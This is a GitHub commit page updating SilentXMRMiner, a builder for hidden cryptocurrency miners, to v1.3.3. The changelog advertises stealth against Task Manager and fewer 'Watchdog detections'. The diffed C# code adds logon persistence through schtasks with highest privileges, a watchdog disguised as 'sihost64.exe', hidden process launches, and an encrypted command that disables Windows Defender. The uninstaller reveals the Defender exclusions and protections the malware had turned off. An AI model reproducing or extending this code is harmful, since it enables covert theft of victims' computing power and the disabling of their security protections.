Skip to content
This repository has been archived by the owner on Sep 12, 2023. It is now read-only.

Commit

Permalink
Updated to v1.3.3
Browse files Browse the repository at this point in the history
* Fixed possible CPU fluctuation
* Added Stealth support for Windows 7 Task Manager
* Decreased Watchdog detections
* Fixed possible Run as Administrator issue on computers with low privileges
  • Loading branch information
UnamSanctam committed May 13, 2021
1 parent 453ee35 commit 434ac4a
Show file tree
Hide file tree
Showing 11 changed files with 71 additions and 94 deletions.
7 changes: 6 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@

<img src="https://github.com/UnamSanctam/SilentXMRMiner/blob/master/SilentXMRMiner.png?raw=true">

# SilentXMRMiner v1.3.2 - Based on Lime Miner v0.3
# SilentXMRMiner v1.3.3 - Based on Lime Miner v0.3

Can mine all the following algorithms and thus all the cryptocurrencies that use them: **cn/upx2**, **argon2/chukwav2**, **cn/ccx**, **kawpow**, **rx/keva**, **astrobwt**, **cn-pico/tlo**, **rx/sfx**, **rx/arq**, **rx/0**, **argon2/chukwa**, **argon2/wrkz**, **rx/wow**, **cn/fast**, **cn/rwz**, **cn/zls**, **cn/double**, **cn/r**, **cn-pico**, **cn/half**, **cn/2**, **cn/xao**, **cn/rto**, **cn-heavy/tube**, **cn-heavy/xhv**, **cn-heavy/0**, **cn/1**, **cn-lite/1**, **cn-lite/0** and **cn/0**.

Expand Down Expand Up @@ -37,6 +37,11 @@ You can find the new wiki [here](https://github.com/UnamSanctam/SilentXMRMiner/w

## Changes

### v1.3.3 (13/05/2021)
* Fixed possible CPU fluctuation
* Added Stealth support for Windows 7 Task Manager
* Decreased Watchdog detections
* Fixed possible Run as Administrator issue on computers with low privileges
### v1.3.2 (09/05/2021)
* Fixed crash when mining from countries that block certain traffic
* Reduced default Start Delay to 15 seconds
Expand Down
34 changes: 18 additions & 16 deletions SilentXMRMiner/Advanced.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

5 changes: 0 additions & 5 deletions SilentXMRMiner/Advanced.resx
Original file line number Diff line number Diff line change
Expand Up @@ -128,11 +128,6 @@ After you have obfuscated the file press OK on the message box that appears to m
<data name="Label6.ToolTip" xml:space="preserve">
<value>Will get the configuration for the miner from this URL and use this as the main settings. If the URL can't be reached or if the configuration is wrong, it will use the settings declared in the builder instead.
You can find the specific format for the configuration and other helpful things on the SilentXMRMiner GitHub wiki: https://github.com/UnamSanctam/SilentXMRMiner/wiki.</value>
</data>
<data name="Label7.ToolTip" xml:space="preserve">
<value>Pauses the miner compilation when the Watchdog DLL and/or Miner DLL is compiled to allow manual obfuscation of the file.
You can find the file in the same folder as the miner location you specified with the name MINERFILE-watchdog.dll or MINERFILE-miner.dll.
After you have obfuscated the file press OK on the message box that appears to move on to the next step.</value>
</data>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
Expand Down
2 changes: 2 additions & 0 deletions SilentXMRMiner/Codedom.vb
Original file line number Diff line number Diff line change
Expand Up @@ -91,6 +91,8 @@ Public Class Codedom

Dim watchdogbuilder As New StringBuilder(Code)

watchdogbuilder.Replace("#InjectionTarget", F.InjectionTarget(0))

ReplaceGlobals(watchdogbuilder)

Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, watchdogbuilder.ToString())
Expand Down
2 changes: 1 addition & 1 deletion SilentXMRMiner/Form1.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

9 changes: 2 additions & 7 deletions SilentXMRMiner/Form1.vb
Original file line number Diff line number Diff line change
Expand Up @@ -420,13 +420,8 @@ Public Class Form1
End Sub

Private Sub toggleEnableIdle_CheckedChanged(sender As Object) Handles toggleEnableIdle.CheckedChanged
If toggleEnableIdle.Checked Then
txtIdleCPU.Enabled = True
txtIdleWait.Enabled = True
Else
txtIdleCPU.Enabled = False
txtIdleWait.Enabled = False
End If
txtIdleCPU.Enabled = toggleEnableIdle.Checked
txtIdleWait.Enabled = toggleEnableIdle.Checked
End Sub

Private Sub MephButton1_Click(sender As Object, e As EventArgs) Handles MephButton1.Click
Expand Down
4 changes: 1 addition & 3 deletions SilentXMRMiner/Resources/Loader.cs
Original file line number Diff line number Diff line change
Expand Up @@ -36,9 +36,7 @@ public static void Main()
Arguments = "/c " + Encoding.ASCII.GetString(RAES_Decryptor(Convert.FromBase64String("#KillWDCommands"))) + " & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
RedirectStandardOutput = true,
Verb = "runas",
Verb = "runas"
});
}
catch (Exception ex)
Expand Down
23 changes: 17 additions & 6 deletions SilentXMRMiner/Resources/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,8 @@ public static void Main()
FileName = "cmd",
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + Path.GetFileNameWithoutExtension(plp) + "\"" + " /tr " + "'" + "\"" + (plp) + "\"" + "' & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
CreateNoWindow = true,
Verb = "runas"
});
}
catch(Exception ex){
Expand Down Expand Up @@ -78,7 +79,12 @@ public static void RInstall()
File.Copy(Process.GetCurrentProcess().MainModule.FileName, plp, true);
Thread.Sleep(5 * 1000);
RBaseFolder();
Process.Start(plp);
Process.Start(new ProcessStartInfo
{
FileName = plp,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
});
Environment.Exit(0);
}
}
Expand Down Expand Up @@ -116,11 +122,16 @@ public static void RBaseFolder()
Thread.Sleep(3000);
File.WriteAllBytes(bD + "sihost64.exe", RGetTheResource("#watchdog"));

Thread.Sleep(2 * 1000);
Thread.Sleep(1 * 1000);

if (Process.GetProcessesByName("sihost64").Length < 1)
{
Process.Start(bD + "sihost64.exe");
Process.Start(new ProcessStartInfo
{
FileName = bD + "sihost64.exe",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
});
}
#endif
File.WriteAllBytes(bD + "WR64.sys", RGetTheResource("#winring"));
Expand Down Expand Up @@ -210,8 +221,8 @@ public static void RInitialize()
#endif

string argstr = RGetString("#ARGSTR") + rS;
argstr = argstr.Replace("{%RANDOM%}", RTruncate("R" +Guid.NewGuid().ToString().Replace("-", ""), 10));
argstr = argstr.Replace("{%COMPUTERNAME%}", RTruncate("C" +System.Text.RegularExpressions.Regex.Replace(Environment.MachineName.ToString(), "[^a-zA-Z0-9]", ""), 10));
argstr = argstr.Replace("{%RANDOM%}", RTruncate("R" + Guid.NewGuid().ToString().Replace("-", ""), 10));
argstr = argstr.Replace("{%COMPUTERNAME%}", RTruncate("C" + System.Text.RegularExpressions.Regex.Replace(Environment.MachineName.ToString(), "[^a-zA-Z0-9]", ""), 10));
if (RCheckProc())
{
Environment.Exit(0);
Expand Down
1 change: 1 addition & 0 deletions SilentXMRMiner/Resources/Uninstaller.cs
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,7 @@ public static void Main()
Arguments = "/c powershell -Command Remove-MpPreference -ExclusionPath '%cd%' & powershell -Command Remove-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Remove-MpPreference -ExclusionPath '%AppData%' & powershell -Command Remove-MpPreference -ExclusionPath '%Temp%' & powershell -Command Set-MpPreference -DisableArchiveScanning $false & powershell -Command Set-MpPreference -DisableBehaviorMonitoring $false & powershell -Command Set-MpPreference -DisableRealtimeMonitoring $false & powershell -Command Set-MpPreference -DisableScriptScanning $false & powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $false & powershell -Command Set-MpPreference -DisableIOAVProtection $false & powershell -Command Set-MpPreference -EnableControlledFolderAccess Enabled & sc config WinDefend start=enabled & sc start WinDefend & powershell -Command Start-Service WinDefend & powershell -Command Set-Service WinDefend -StartupType Enabled & powershell -Command Install-WindowsFeature -Name Windows-Defender & powershell -Command Add-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Enable-Feature /FeatureName:Windows-Defender /NoRestart /quiet & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
Verb = "runas"
});
}
catch (Exception ex)
Expand Down
Loading

0 comments on commit 434ac4a

Please sign in to comment.